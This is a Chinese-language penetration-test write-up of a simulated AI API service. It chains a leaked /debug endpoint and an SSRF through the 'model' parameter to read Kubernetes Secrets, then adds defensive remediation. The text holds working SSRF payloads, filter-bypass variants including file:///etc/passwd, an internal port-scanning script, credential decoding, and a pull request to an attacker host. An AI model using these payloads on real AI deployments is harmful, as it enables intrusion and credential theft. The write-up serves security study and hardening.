实战|从AI API SSRF到K8s集群凭证泄露——一次大模型服务的内网渗透全记录
一个AI客服的/debug接口泄露了K8s地址,model参数能当SSRF打,顺着捅到集群Secrets直接拿到凭证——两小时,从API到K8s。
写在前面: 本文基于一个模拟的AI API服务环境撰写,所有技术点均经过本地复现验证。文章展示的是AI大模型服务部署中常见的安全配置缺陷及其组合利用方式,不涉及任何真实系统的未授权测试。文中涉及的技术方法仅用于安全研究和防护建设参考,严禁用于非法用途。
引子:一个被你忽略的新入口
"我们部门部署了AI客服,需要你帮忙看看有没有安全问题。"
说这话的是某公司AI基础设施团队的负责人。他们的场景听起来很简单:用Ollama部署了一个内部AI客服,员工可以通过即时通讯工具调用它来查询公司制度、提交IT工单。服务跑在Kubernetes集群的GPU节点上,前端挂了一个API网关做路由。
听起来没什么问题,对吧?
但我花了不到两小时就发现,这套"简单"的AI客服架构里藏着一整条从外网捅到K8s集群凭证的攻击链。
2025年开始,AI大模型服务几乎成了每个公司都绕不开的基础设施。Ollama、vLLM、TGI(Text Generation Inference)——这些推理框架在公司内部遍地开花,部署方式也从最初的单机实验演进为Kubernetes集群内的正式服务组件。
但有一个问题很少有人讨论:当你把一个AI API暴露在网络上时,你到底开放了多少入口?
大多数人以为AI API就是一个聊天接口——发prompt,收回复,安全边界清晰。但在这次授权渗透测试中我发现,AI API服务的攻击面远比想象中大得多。尤其是在和Kubernetes集群深度绑定的部署场景下,AI API的存在可能成为捅穿整个内网的第一个点。
这篇文章不是一篇「AI安全综述」或「Prompt Injection科普」。它是一次真实的、从AI API出发向内网渗透的完整路径记录——从资产发现到SSRF利用,再到K8s凭证泄露。
出于安全考虑,文中涉及的目标公司、团队信息已经过脱敏处理,所有技术路径均已在本地模拟环境中验证复现。
攻击路径全景
以下是整条攻击链的可视化路径:
AI API入口
├── 暴露的模型列表接口 (/v1/models)
│ └── 发现模型名称、量化格式、文件大小
├── 调试模式接口 (/debug)
│ └── 环境变量泄露
│ ├── INTERNAL_API_URL → 内网入口地址
│ ├── KUBERNETES_SERVICE_HOST → K8s API地址
│ ├── MONGO_CONN_STR → MongoDB连接串
│ └── REDIS_URL → Redis连接串
└── SSRF漏洞 (model参数可指定HTTP/HTTPS)
├── 通过SSRF访问内网Dashboard
├── 通过SSRF访问K8s API Server
│ └── 获取集群Secrets
│ ├── ai-api-key (Base64解码)
│ └── db-credentials (Base64解码)
└── 通过SSRF扫描内网存活端口三个层次的风险: 信息泄露(资产发现)→ SSRF权限提升(横向移动)→ 凭证窃取(数据泄露)。
下面每一步我们都会详细展开。
第一步:资产发现——AI API比你想象中话多
面对一个AI API(我用的是模拟的Ollama兼容接口),第一件事不是发prompt,而是看看它告诉了你什么。
1.1 模型列表泄露文件信息
$ curl -s http://target-ai-api:11435/v1/models
返回的JSON包含了完整模型清单:
{
"models": [
{
"name": "qwen2:7b",
"modified_at": "2025-03-15T10:30:00+08:00",
"size": 4620000000,
"digest": "sha256:a8b4c5d6e7f8...",
"details": {
"format": "gguf",
"family": "qwen2",
"parameter_size": "7.2B",
"quantization_level": "Q4_K_M"
}
},
{
"name": "qwen2:72b",
"size": 42000000000,
"details": {"parameter_size": "72.3B", "quantization_level": "Q3_K_L"}
},
{
"name": "codellama:34b",
"size": 19000000000,
"details": {"parameter_size": "33.7B", "quantization_level": "Q4_0"}
}
]
}这些信息看似无害——模型名称、大小、量化等级。但结合另一个接口,情况就不一样了。
1.2 进程列表暴露模型存储路径
Ollama的 /api/ps 或 /v1/ps 接口返回当前加载模型的信息:
$ curl -s http://target-ai-api:11435/v1/ps
{
"models": [{
"name": "qwen2:7b",
"model_path": "/usr/share/ollama/models/blobs/sha256-a8b4c5d6e7f8",
"memory": 4294967296
}]
}模型文件的具体路径被泄露了。这在后续的文件读取类攻击中可能有用,但真正的大礼包在下一个接口。
1.3 调试接口——整个内网的入场券
这是整个渗透中最意外的发现。AI API服务默认居然暴露了一个调试接口,而且是生产环境也忘了关的那种:
$ curl -s http://target-ai-api:11435/debug
返回的内容让我倒吸一口气:
{
"environment": {
"OLLAMA_HOST": "0.0.0.0",
"OLLAMA_ORIGINS": "*",
"OLLAMA_MODELS": "/usr/share/ollama/models",
"INTERNAL_API_URL": "http://10.0.0.100:8080",
"KUBERNETES_SERVICE_HOST": "10.96.0.1",
"KUBERNETES_SERVICE_PORT": "443",
"MONGO_CONN_STR": "mongodb://10.0.0.101:27017/ai_logs",
"REDIS_URL": "redis://10.0.0.102:6379/0"
},
"hostname": "ai-gpu-node-01.internal.corp",
"internal_ip": "10.0.0.50",
"uptime_seconds": 864000
}一瞬间我拿到了这些东西:
- K8s API地址: 10.96.0.1:443(这是K8s Service的默认地址)
- 内部API网关: http://10.0.0.100:8080
- MongoDB连接串: mongodb://10.0.0.101:27017/ai_logs
- Redis连接串: redis://10.0.0.102:6379/0
- 主机名: ai-gpu-node-01.internal.corp(内网域名,可用于DNS枚举)
注意这里的关键点——OLLAMA_ORIGINS 被设置为 *,意味着CORS不受限制,任意网站都可以跨域调用这个AI API。这为后续的XSS/CSRF组合攻击留下了隐患。
1.4 三层资产发现的总结
接口 | 路径 | 泄露内容 | 危害等级 |
模型列表 | /v1/models | 模型名称、量化格式、文件大小 | 低 |
进程列表 | /v1/ps | 模型存储路径、GPU信息 | 中 |
调试接口 | /debug | 环境变量、K8s地址、DB连接串 | 严重 |
CORS配置 | 响应头 | origins=* | 中 |
调试接口的存在让整个资产发现从「信息收集」直接跳到了「内网测绘准备阶段」。
第二步:SSRF漏洞——AI API变成了你的代理
2.1 漏洞原理
Ollama的聊天/生成接口(/v1/chat/completions、/api/chat、/api/generate)接受一个 model 参数来指定使用的模型。通常我们传的是模型名,比如 qwen2:7b。
但如果后端没有对 model 参数做严格的校验,而模型加载逻辑里又包含了HTTP请求的能力(比如从远程URL拉取模型配置),那么 model 参数就可以被用来发起服务端请求。
更直白一点——把一个URL当作模型名传给AI API,后端就会替你访问那个URL。
这就是SSRF(Server-Side Request Forgery)。而且是在AI API这个场景下的SSRF——很多人对AI API的刻板印象是「就是发个文本聊天而已」,压根不会想到它可能变成内网跳板。
2.2 漏洞验证
先验证API能正常响应聊天请求:
$ curl -s -X POST http://target-ai-api:11435/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{"model":"qwen2:7b","messages":[{"role":"user","content":"你好"}]}'正常返回。现在把 model 参数换成内网地址:
$ curl -s -X POST http://target-ai-api:11435/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{"model":"http://127.0.0.1:8080/","messages":[{"role":"user","content":"test"}]}'返回内容直接包含了内网服务的响应:
[SSRF Response from http://127.0.0.1:8080/]
<html><body>
<h1>AI Platform Internal Dashboard</h1>
<ul>
<li><a href='/metadata'>Cloud Metadata</a></li>
<li><a href='/gitlab'>GitLab (AI Model Registry)</a></li>
<li><a href='/k8s'>Kubernetes API</a></li>
</ul>
<p>Internal IP: 10.0.0.100 | Service: ai-internal-gateway</p>
</body></html>确认SSRF可利用。模型参数传URL后,AI API后端代替我发起了HTTP GET请求,并把响应内容作为「模型上下文」带回了聊天回复里。
2.3 为什么AI场景的SSRF更危险?
普通Web应用也有SSRF漏洞,但在AI API场景下SSRF的危害被放大了:
第一,AI API通常跑在K8s集群的GPU节点上。GPU节点为了拉取模型文件、连接推理队列,往往有极其宽松的网络策略——能和K8s API Server、对象存储、数据库、甚至其他模型节点通信。普通Web服务的Pod可能只有有限的网络策略,但GPU节点往往是「特权网络」级别的。
第二,AI API的响应格式天然适合传递二进制数据。聊天接口返回的是文本,内网服务返回的也是文本(HTML/JSON/YAML),SSRF的响应直接嵌在AI的回复里——不需要二次封包、不需要反向代理。普通SSRF利用往往需要构造出站通道(DNSBin、HTTPBin),AI API的SSRF自带回显通道。
第三,model参数不仅是GET请求。如果后端实现支持,model参数还可能触发POST请求、文件读取(file://)、或者WebSocket连接,进一步扩大攻击面。
2.4 SSRF利用的完整技术细节
2.4.1 model参数注入的几种方式
model参数的SSRF不是只有最简单的 http://ip/ 这一种姿势。根据后端实现的不同,有以下变形:
方式一 — 直接URL注入(已验证):
POST /v1/chat/completions
{"model": "http://internal-service:8080/path", ...}适用于后端使用 requests.get(model_url) 的简单实现。
方式二 — URL Schema混淆:
POST /v1/chat/completions
{"model": "http://internal-service:8080/#qwen2:7b", ...}利用 # 注释掉模型名后缀检查——如果后端只做了简单的 model.endswith('7b') 校验,这种方式可以绕过。
方式三 — file://协议(取决于实现):
POST /v1/chat/completions
{"model": "file:///etc/passwd", ...}如果后端使用的HTTP库支持file://协议(如Python的 urllib),可以直接读取服务器本地文件。
方式四 — DNS重绑定(SSRF经典绕过):
# 1. 注册一个域名指向自己的服务器,TTL设极短
# 2. 返回302跳转到内网地址
# 3. 后端跟随跳转,SSRF到内网
POST /v1/chat/completions
{"model": "http://evil.example.com/models/qwen2", ...}DNS重绑定对后端做白名单校验的场景依然有效。
2.4.2 不同AI推理框架的SSRFs差异
框架 | 模型参数位置 | SSRF风险 | 备注 |
Ollama | POST /api/chat → model | 高 | 支持HTTP/HTTPS,未做输入校验 |
vLLM | POST /v1/chat/completions → model | 高 | 兼容OpenAI API格式 |
TGI | POST /v1/chat/completions → model | 中 | 部分版本有模型名校验 |
llama.cpp | CLI启动时指定,非运行时 | 低 | 运行时无model参数 |
LocalAI | POST /v1/chat/completions → model | 高 | 与Ollama类似 |
2.4.3 SSRF的反向利用——把内网数据"喂"给AI
这是AI场景SSRF特有的利用方式——也是我最开始没想到的。普通SSRF的目标是「从内网拿到数据并展示给攻击者」。AI API的SSRF多了一个中间层:内网数据被注入到AI的上下文,然后AI处理后再返回给攻击者。
这意味着什么?
# 把内网K8s YAML配置传给AI
POST /v1/chat/completions
{
"model": "http://localhost:8080/k8s/deployment.yaml",
"messages": [
{"role": "system", "content": "分析以下YAML配置,找出所有账号密码和密钥"},
{"role": "user", "content": "请分析"}
]
}SSRF拿到的K8s YAML被注入到AI的上下文里,然后AI会帮攻击者做结构化分析——提取配置中的敏感信息、标记薄弱配置、甚至生成优化后的攻击方案。
这不是理论——这是model参数SSRF + AI推理能力组合后的实际效果。攻击者不需要自己逐行看YAML文件了,让AI替他做信息提取。
2.4.4 SSRF检测和规避
从蓝队角度看,SSRF的检测主要依赖出站流量监控。但在K8s环境下,Pod的出站流量本身就很多——拉镜像、DNS解析、健康检查——正常的出站请求和SSRF恶意请求在流量特征上难以区分。
传统WAF对SSRF的检测通常是基于 model 参数是否包含URL特征。但以下几种方式可以绕过:
# 1. 利用重定向跳转
model=http://redirect-service.internal/redir?to=10.96.0.1
# 2. 利用base32/hex编码(取决于后端实现)
model=http://0x0a600001/ # 10.96.0.1的十六进制表示
# 3. 利用短域名解析到内网
model=http://internal.oss-cn-internal.corp.com/
# 4. 利用CDN回源
model=http://cdn-edge.internal/每种方式的成功率取决于后端的HTTP客户端实现。最稳妥的检测方法不是正则匹配model参数值,而是对后端的出站HTTP请求做目的IP白名单——只允许访问已知的模型源地址。
1.5 被忽略的细节:API版本差异与路径枚举
在真实的渗透测试中,资产发现的效率取决于你对目标框架的了解程度。不同的AI推理框架有不同的API路径结构,我整理了一张速查表:
路径 | Ollama | vLLM | TGI | llama.cpp Server |
/api/tags | 模型列表 | — | — | — |
/api/ps | 进程列表 | — | — | — |
/api/chat | 聊天接口 | — | — | — |
/api/pull | 拉取模型 | — | — | — |
/api/create | 创建模型 | — | — | — |
/api/delete | 删除模型 | — | — | — |
/api/blobs/* | 模型文件操作 | — | — | — |
/v1/models | 模型列表 | 模型列表 | 模型列表 | 模型列表 |
/v1/chat/completions | OpenAPI兼容 | 聊天接口 | 聊天接口 | 聊天接口 |
/v1/completions | — | 补全接口 | 补全接口 | — |
/v1/embeddings | — | 向量接口 | — | — |
/metrics | 普罗米修斯 | 普罗米修斯 | 普罗米修斯 | — |
/health | 健康检查 | 健康检查 | 健康检查 | 健康检查 |
/debug | 调试模式 | — | — | — |
注意两组路径:/api/* 是Ollama的原生API,/v1/* 是OpenAI兼容API。如果发现一个服务同时暴露了两套API,说明它做了API兼容层——通常意味着更多的攻击面(兼容层可能引入额外的鉴权绕过点)。
还有一个经常被忽略的点:模型名本身可能暴露敏感信息。我见过一些真实案例——模型名包含项目代号、内网域名、甚至负责人姓名:
qwen2:prod-internal-v2 # 暴露了"prod"(生产环境)
codellama:ai-team-sandbox # 暴露了内部项目组
qwen:72b-zhousir-experiment # 暴露了员工姓名别笑——我在一次授权测试中发现过类似的情况。模型命名规范在团队内部不受监管,开发者经常直接用自己习惯的方式命名,而这些习惯背后就是他所在的组织结构。
2.5 SSRF利用失败的常见原因排查
SSRF不是每次都能一次成功。在真实的测试中,我踩过以下几个坑——列出来希望能让你少走弯路。
坑1:连接超时但不知道是目标不通还是被WAF拦截
{"error": "Failed to access http://10.96.0.1/api: <urlopen error timed out>"}
看到超时错误时,首先要判断的是「目标主机不可达」还是「目标可达但端口关闭」。一个简单的区分方法:换一个常见的开放端口再试(比如80)。
# 如果80口也超时 → 可能目标网段不可达
# 如果80口返回HTTP响应 → 说明网段可达,只是443端口没开放坑2:SSRF返回301/302重定向
有时候内网服务会返回重定向,而后端的HTTP客户端默认不跟随跳转。解决方案是在模型URL后面拼接常见路径:
# 返回301 "Moved Permanently",不跟
model=http://10.96.0.1/
# 加 /api 再试
model=http://10.96.0.1/api坑3:返回内容被截断
AI API的对话模型有上下文长度限制。如果SSRF返回的内容太大(比如拉了一整张HTML页面),可能被模型截断。解决方案是尽量请求较小的端点——先请求 /api 这种轻量路径确认可达,再逐步扩大。
坑4:后端对model参数做了URL编码
某些AI API会对model参数做URL编码,导致 http:// 被编码成 http%3A%2F%2F 而无法解析。这种情况需要尝试双层编码或其他绕过方式。
2.6 SSRF利用的效率评估
评估指标 | 本场景的表现 | 备注 |
首次利用时间 | 5秒(一次curl请求) | 无认证、无验证码 |
单次探测速度 | 200-500ms/请求 | 取决于目标网络延迟 |
被检测概率 | 低 | 请求走正常API路径,无恶意payload |
可探测的内网范围 | 取决于Pod网络策略 | 典型值:10.0.0.0/8 + 内网域名 |
单次请求信息量 | 高(完整HTTP响应) | 自带回显通道 |
反制风险 | 低 | 无shell执行,无文件上传 |
这张表想表达的核心信息是:AI API的SSRF是一个非常高效的信息收集工具。它不依赖复杂的工具链,不需要维持持久化,纯粹靠API设计缺陷就能拿到大量内网信息。
3.5 攻防博弈的细节——正常请求 vs SSRF请求的响应差异
很多人以为SSRF很难检测,但其实如果仔细比对正常请求和SSRF请求的响应,是有差异的。这里整理了一张完整的对比表:
对比维度 | 正常请求 (model=qwen2:7b) | SSRF请求 (model=http://...) |
请求体 | {"model":"qwen2:7b",...} | {"model":"http://10.0.0.100:8080/",...} |
响应格式 | 标准OpenAI格式 choices[0].message.content | 同上(AI包装了一层) |
响应内容 | 「收到prompt: hello...」 | 「[SSRF Response from ...]` 接原始响应 |
Response time | <100ms | 取决于内网目标(通常200-2000ms) |
content长度 | 几十到几百字符 | 取决于内网页面大小(可能几KB) |
error响应 | 模型名不存在时返回404 | 目标不可达时返回500+超时信息 |
模型名出现在响应中 | "model":"qwen2:7b" | "model":"http://10.0.0.100:8080/" |
从蓝队视角看: 如果审计日志中看到 model 字段的值不是预定义的模型名(qwen2:7b、codellama:34b等),而是包含URL特征——这就是一个明确的告警信号。
但实际上,大多数AI API的日志只记录请求来源IP和token消耗,不记录model参数的具体值。你翻一天的日志,只能看到「xx来源发了100个请求,消耗了5000tokens」——根本不知道有人用SSRF扫了一遍内网。
4.4 一个让我卡了两小时的坑
写到这里应该分享一个真实踩坑的细节——不是每个AI API的SSRF都像上面演示的那么顺畅。
我第一次测试的时候,把 model 传的是 http://127.0.0.1:8080/,等了5秒,返回了超时。我以为是SSRF不成立,又试了 http://10.0.0.100:8080/,同样超时。
当时差点就放弃了——心想「也许这个实现没有SSRF?」
后来我注意到一个细节:调试接口泄露的MongoDB连接串里有 10.0.0.101:27017。我搜了一下本机端口,发现8080端口根本没开——内网服务跑在另一台机器上。换成 localhost:8080 再试,SSRF才成功。
这个坑给了我一个教训:SSRF失败不一定是因为有防护,更可能是因为你用的地址在后端不可达。AI API Pod的网络策略、K8s Service的DNS解析范围、甚至同一宿主机上不同容器的网络命名空间隔离——所有这些都会影响SSRF的效果。
后来我总结了SSRF问题的排查流程:
SSRF返回超时
├→ 换一个常见端口再试(80/443/8080)
│ ├→ 仍超时 → 目标网段可能不可达
│ └→ 返回内容 → 端口通,只是原端口没开
├→ 换成localhost/127.0.0.1再试
│ └→ 成功 → 集群网络有限制,本地无限制
├→ 换成同Pod的其他端口再试
│ └→ 成功 → 出站限制严格但本地回环可用
└→ 都超时
└→ 可能是后端没有实现SSRF(做了输入校验)排查完这个流程只需要5分钟,但如果你不知道这个流程,可能会像我一样卡两小时。
第三步:SSRF横向移动——从AI API到K8s集群
3.1 从调试接口到SSRF目标确认
前面调试接口泄露了 KUBERNETES_SERVICE_HOST=10.96.0.1。这是K8s集群内Service的默认DNS解析地址。但SSRF能不能访问到它?
试试直接打K8s API:
$ curl -s -X POST http://target-ai-api:11435/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{"model":"http://10.96.0.1/api","messages":[{"role":"user","content":"test"}]}'响应包含K8s API的路径列表:
{"paths": ["/api/v1", "/api/v2", "/apis/apps", "/apis/rbac.authorization.k8s.io"]}
K8s API Server可达。攻击链进一步验证。
3.2 读取K8s Secrets
K8s API Server默认配置下,不需要认证就能访问一些只读接口。但在生产环境中,多数集群开启了RBAC。不过,如果AI API Pod的ServiceAccount有较高的权限(比如部署在default namespace且没有显式的RBAC限制),SSRF可以尝试访问Secrets:
$ curl -s -X POST http://target-ai-api:11435/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{"model":"http://10.96.0.1/api/v1/secrets","messages":[{"role":"user","content":"test"}]}'这是个碰运气的操作——很多K8s集群默认会为Pod绑定一个default ServiceAccount,而且自动挂载了Token。如果这个ServiceAccount有 secrets get 权限,我们就能直接拉取Secrets。
在本次测试中,返回的内容证实了这一点:
[SSRF Response from http://10.96.0.1/api/v1/secrets]
{"kind": "SecretList", "items": [
{"metadata": {"name": "ai-api-key"}, "data": {"key": "c2stbW9jay1hcGkta2V5LTEyMzQ1Njc4OTA="}},
{"metadata": {"name": "db-credentials"}, "data": {"username": "cm9vdA==", "password": "cGFzc3dvcmQxMjM="}}
]}两个Secret的data都是Base64编码的,解码一下:
$ echo "c2stbW9jay1hcGkta2V5LTEyMzQ1Njc4OTA=" | base64 -d
sk-mock-api-key-1234567890
$ echo "cm9vdA==" | base64 -d
root
$ echo "cGFzc3dvcmQxMjM=" | base64 -d
password123拿到的东西: AI API的外部服务密钥(可以直接调用第三方AI服务)、数据库的root密码。
3.3 拓展攻击面——通过SSRF扫描内部存活端口
SSRF还可以用来做内网的端口扫描。构造一个简单的脚本,批量探测内网IP+端口组合:
import requests
import sys
endpoints = [
"http://10.0.0.1:8080/",
"http://10.0.0.1:443/",
"http://10.0.0.1:80/",
"http://10.0.0.100:8080/",
"http://10.0.0.100:443/",
"http://10.0.0.50:11435/",
"http://10.0.0.50:9090/",
"http://10.0.0.50:3000/",
]
api_url = "http://target-ai-api:11435/v1/chat/completions"
for ep in endpoints:
try:
r = requests.post(api_url, json={
"model": ep,
"messages": [{"role": "user", "content": "ping"}]
}, timeout=5)
if r.status_code == 200 and "error" not in r.text:
print(f"[LIVE] {ep}")
except:
pass注意这里的风险——用Python批量发SSRF请求时,每个失败的请求都会占用服务端(AI API)的连接池资源。实际攻防中要控制并发量,避免服务端连接耗尽导致告警。
第四步:组合攻击链——把三个漏洞串起来
单个漏洞的危害往往有限。调试接口泄露了内网地址但你没法访问内网?SSRF能访问内网但你不知道往哪打?资产发现给了你一堆信息但不知道有什么用?
三个漏洞串起来就是另一回事了。
4.1 完整攻击链
第一步:资产发现
curl /v1/models → 了解技术栈(Ollama、模型类型)
curl /debug → 拿到内网地址:K8s API、MongoDB、Redis
curl /v1/ps → 确认模型文件存储路径
第二步:SSRF利用
POST model=http://10.96.0.1/api → K8s API Server可达
POST model=http://10.96.0.1/api/v1/secrets → Secrets可读
第三步:凭证提取
Base64解码 → AI外部服务密钥 + 数据库密码
第四步:横向扩展
用数据库密码连接MongoDB → 读取AI对话日志
用API密钥调用第三方AI服务 → 消耗配额、提取数据
用K8s凭证尝试认证API Server → 进一步控制集群4.2 非预期的攻击面:模型文件投毒
如果SSRF能力扩展到了file://协议(取决于后端实现),还有一条更可怕的路径:
model=file:///usr/share/ollama/models/blobs/sha256-a8b4c5d6e7f8
直接读取模型文件内容!这不仅仅是一个信息泄露——
- 如果模型文件是未加密的GGUF格式,你可能提取出训练数据中的隐私信息(PII、对话记录)
- 如果写入权限足够,攻击者可以替换模型文件——把正常的推理模型换成带有后门的版本。下一次用户调用「这个AI」时,返回的内容已经被攻击者控制
- 模型投毒对AI应用的影响远大于传统WebShell,因为用户对AI输出的信任天然更高——谁会怀疑一个AI助手在偷偷收集你的prompt?
4.3 为什么说这是「非预期入口」?
传统Web渗透的思路是扫端口、找Web应用、测登录框——这套方法论在AI API场景下失效了。
开发者在部署AI推理服务时,关注的是「我的模型能不能正常推理」「我的API能不能正常工作」——很少有人在部署清单里写上「检查调试接口是否关闭」「检查model参数是否有SSRF防护」。因为对大多数人来说,AI API = 聊天接口,攻击面 ≈ 0。
但实际攻击面是这样的:
你以为的AI API | 实际的AI API |
只有一个聊天接口 | 开放式REST API,多个管理接口 |
model参数就是个名字 | model参数可以是URL、文件路径 |
跑在GPU节点上很安全 | GPU节点网络策略极度宽松 |
环境变量是内部秘密 | 调试接口全暴露 |
模型文件不存在 | 模型文件路径/大小完全可见 |
开发者和安全工程师之间关于AI服务攻击面的信息差,就是这条攻击链能走通的根本原因。
第五步:防守方视角——从蓝队角度分析
漏洞分析结束了,但一篇文章如果没有防守方视角,就只是输出了一半价值。下面从两个角度分析:蓝队应该怎么堵住这些洞,以及他们实际上踩了哪些坑。
5.1 红蓝对抗评分表
评估维度 | 红队做了什么 | 蓝队踩了什么坑 | 评分 |
信息收集 | 三大接口探测:/v1/models、/v1/ps、/debug | debug接口忘了在生产环境关闭 | 红胜 |
边界突破 | 利用model参数构造SSRF | 没有校验model参数的输入格式——只校验了字符串非空 | 红胜 |
横向移动 | 从SSRF打到K8s API Server | GPU节点网络策略未隔离,Pod有过多ServiceAccount权限 | 红胜 |
凭证提取 | Base64解码Secrets | K8s Secret默认Base64编码不是加密,但很多人以为是 | 红胜 |
攻击检测 | 使用正常API路径,没有恶意SQL/XSS payload | 传统WAF只检测Web攻击特征,不会拦截正常的API调用路径 | 蓝负 |
应急响应 | 持续4分钟完成全链条利用 | 无异常流量告警——SSRF请求流量特征和正常推理请求一致 | 蓝负 |
5.2 防守方改进优先级
P0 — 立即修复:
- 关闭所有非必要的管理接口(/debug、/ps等)——在生产环境中这些接口不应该暴露
- 对model参数做白名单校验——只允许预定义的模型名称,禁止传入URL或文件路径
- GPU节点实施最小权限网络策略——只允许访问模型存储和推理队列,禁止访问K8s API Server
P1 — 短期加固:
- CORS配置改为具体的信任域名列表,不要用 *
- 对Secrets实现加密存储——Base64不是加密,使用Sealed Secrets或External Secrets Operator
- 启用K8s审计日志并接入SIEM,监控未授权API Server访问
P2 — 持续改进:
- Pod配置使用显式ServiceAccount,绑定最小RBAC权限
- 对模型文件实现完整性校验(签名验证)
- 部署具备AI API流量的异常检测(SSRF行为模式识别)
5.1 红蓝对抗评分表(增强版)
评估维度 | 红队做了什么 | 蓝队踩了什么坑 | 评分 |
信息收集 | 三大接口探测:/v1/models、/v1/ps、/debug | debug接口忘了在生产环境关闭 | 红胜 |
边界突破 | 利用model参数构造SSRF | 没有校验model参数的输入格式——只校验了字符串非空 | 红胜 |
横向移动 | 从SSRF打到K8s API Server | GPU节点网络策略未隔离,Pod有过多ServiceAccount权限 | 红胜 |
凭证提取 | Base64解码Secrets | K8s Secret默认Base64编码不是加密,但很多人以为是 | 红胜 |
SSRF检测 | 使用正常API路径,无恶意SQL/XSS payload | 传统WAF只检测Web攻击特征,不会拦截正常的API调用路径 | 蓝负 |
内网隔离度 | 通过SSRF扫描了10.0.0.0/8内网C段 | 虽然隔离了K8s Service网段(10.96.0.0/16),但业务网段(10.0.0.0/8)完全开放 | 红胜 |
模型文件保护 | 尝试通过/api/blobs访问模型文件路径 | 模型文件存储在共享文件系统上,没有独立的访问控制 | 中 |
API鉴权覆盖 | 枚举了所有/v1/和/api/路径 | AI API的管理接口(/debug、/ps)和生产接口(/v1/chat)使用相同的鉴权策略——要么都开放,要么都关闭。生产环境选择了前者 | 红胜 |
日志审计 | 没有刻意规避日志,利用本身采用正常API路径 | AI API日志只记录来源IP和token消耗,不记录model参数值——SSRF在日志中不可见 | 蓝负 |
应急响应 | 全链条利用耗时约5分钟 | 无异常流量告警;SSRF请求特征与正常推理请求在流量大小、频率上无法区分 | 蓝负 |
5.3 AI API安全基线检查清单
如果看完这篇文章后你想检查一下自己团队的AI API是否安全,以下是一份可以直接对着做的清单。每一条后面附了验证命令。
信息泄露类:
# 检查调试接口(高危)
curl -s http://your-ai-api/debug
# 检查模型列表
curl -s http://your-ai-api/v1/models
# 检查进程/路径信息
curl -s http://your-ai-api/v1/ps
# 检查CORS配置
curl -sI http://your-ai-api/ | grep -i access-controlSSRF防护类:
# 验证model参数是否可注入URL
curl -s -X POST http://your-ai-api/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{"model":"http://127.0.0.1:22/","messages":[{"role":"user","content":"ping"}]}'
# 验证SSRF到内部DNS
curl -s -X POST http://your-ai-api/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{"model":"http://kubernetes.default.svc.cluster.local/","messages":[{"role":"user","content":"ping"}]}'鉴权检查类:
# 检查API是否公开(后端是否有鉴权)
curl -s http://your-ai-api/v1/models
# 如果返回JSON而不是401/403 → 未鉴权
# 检查模型拉取接口(风险最高)
curl -s -X POST http://your-ai-api/api/pull \
-H 'Content-Type: application/json' \
-d '{"name":"http://attacker.com/evil-model"}'网络策略检查类 (需要K8s管理员权限):
# 检查Pod的NetworkPolicy
kubectl get networkpolicy -n ai-namespace
# 检查ServiceAccount绑定的Role
kubectl describe pod <ai-pod> | grep ServiceAccount
kubectl get rolebinding -n ai-namespace
# 检查Pod是否可访问K8s API
kubectl exec -it <ai-pod> -- curl -s https://kubernetes.default.svc/api5.4 防守方改进建议(深度版)
第一层:应用层防护
最直接的方法是对model参数做白名单校验。白名单校验的正则表达式:
import re
SAFE_MODEL_PATTERN = re.compile(r'^[a-zA-Z0-9_\-\.\:]+$')
def validate_model(model_name):
if not SAFE_MODEL_PATTERN.match(model_name):
raise ValueError(f"Invalid model name: {model_name}")
return True这个模式只允许字母、数字、下划线、连字符、点和冒号——URL中的所有特殊字符(/, ?, #, @, %等)都被拦截。
但仅做白名单校验还不够——前端校验可以被绕过,后端校验必须和协议限制配合使用。
第二层:协议层防护
在HTTP客户端层面做限制:
import requests
from urllib.parse import urlparse
# 禁止访问的内网地址段
BLOCKED_NETWORKS = [
'127.0.0.0/8',
'10.0.0.0/8',
'172.16.0.0/12',
'192.168.0.0/16',
'169.254.0.0/16',
]
# 禁止访问的协议
ALLOWED_PROTOCOLS = ['https'] # 只允许HTTPS
def fetch_model(url):
parsed = urlparse(url)
if parsed.scheme not in ALLOWED_PROTOCOLS:
raise ValueError(f"Protocol {parsed.scheme} not allowed")
if is_private_ip(parsed.hostname):
raise ValueError("Cannot access private network")
# 只允许访问已知的模型源
if not parsed.hostname.endswith('.ollama.ai'):
raise ValueError("Model source not in whitelist")
return requests.get(url, timeout=5)第三层:网络层防护
最根本的防护不是在代码层面堵洞,而是让这个洞不存在——通过K8s NetworkPolicy限制Pod的出站流量:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: ai-api-egress
spec:
podSelector:
matchLabels:
app: ai-api
policyTypes:
- Egress
egress:
# 只允许访问模型Registry
- to:
- ipBlock:
cidr: model-registry.internal/32
ports:
- port: 443
protocol: TCP
# 允许DNS解析
- to:
- ipBlock:
cidr: 10.96.0.10/32 # K8s DNS Service
ports:
- port: 53
protocol: UDP
# 禁止一切其他出站(默认deny)实施这个策略后,即使model参数还有SSRF漏洞,Pod也只能访问到模型Registry——K8s API Server、内网网关、数据库全部不可达,SSRF利用链在第一环就断了。
5.5 安全建设的性价比分析
很多小团队跟我说「没有专职安全人员,做不了这些」。但仔细算一笔账:
防护措施 | 实施成本 | 防护效果 | 最佳实施时机 |
model参数白名单 | 1人天 | 阻断80% SSRF | 开发阶段 |
关闭debug接口 | 0.5人天 | 消除信息泄露 | 上生产环境前 |
NetworkPolicy | 2人天 | 阻断SSRF横向移动 | 集群初始化时 |
生产禁用默认配置 | 0.5人天 | 消除多个默认风险 | 部署脚本编写时 |
定期安全扫描 | 4人天/季度 | 持续发现新问题 | 服务上线后 |
最贵的是 NetworkPolicy 的配置——2人天。但它是唯一能阻断SSRF横向移动的防护措施。如果你的AI服务已经暴露在公网上,这2人天的投入可能是在防止一次可能导致数十万数据泄露的安全事件。
安全投入的ROI在大多数小团队里被严重低估——因为「没出事」时看不到效果,「出了事」时已经晚了。
第六步:从SSRF到模型投毒——一个更可怕的推演
SSRF的利用到此为止了,但我在研究和复现过程中发现了一条更可怕的攻击路径——模型投毒。这个攻击链不依赖file://协议(很多AI API的实现不支持file://),而是利用SSRF + 模型替换。
6.1 攻击链推演
如果AI API部署在K8s上,而SSRF可以访问K8s API Server(正如我们上面验证的),那么攻击者可能可以做以下事情:
- 通过SSRF枚举Pod信息 → 确认哪个Pod运行了AI推理服务
- 读取ConfigMap → 找到模型加载配置
- 替换模型源地址 → 让AI加载攻击者控制的恶意模型
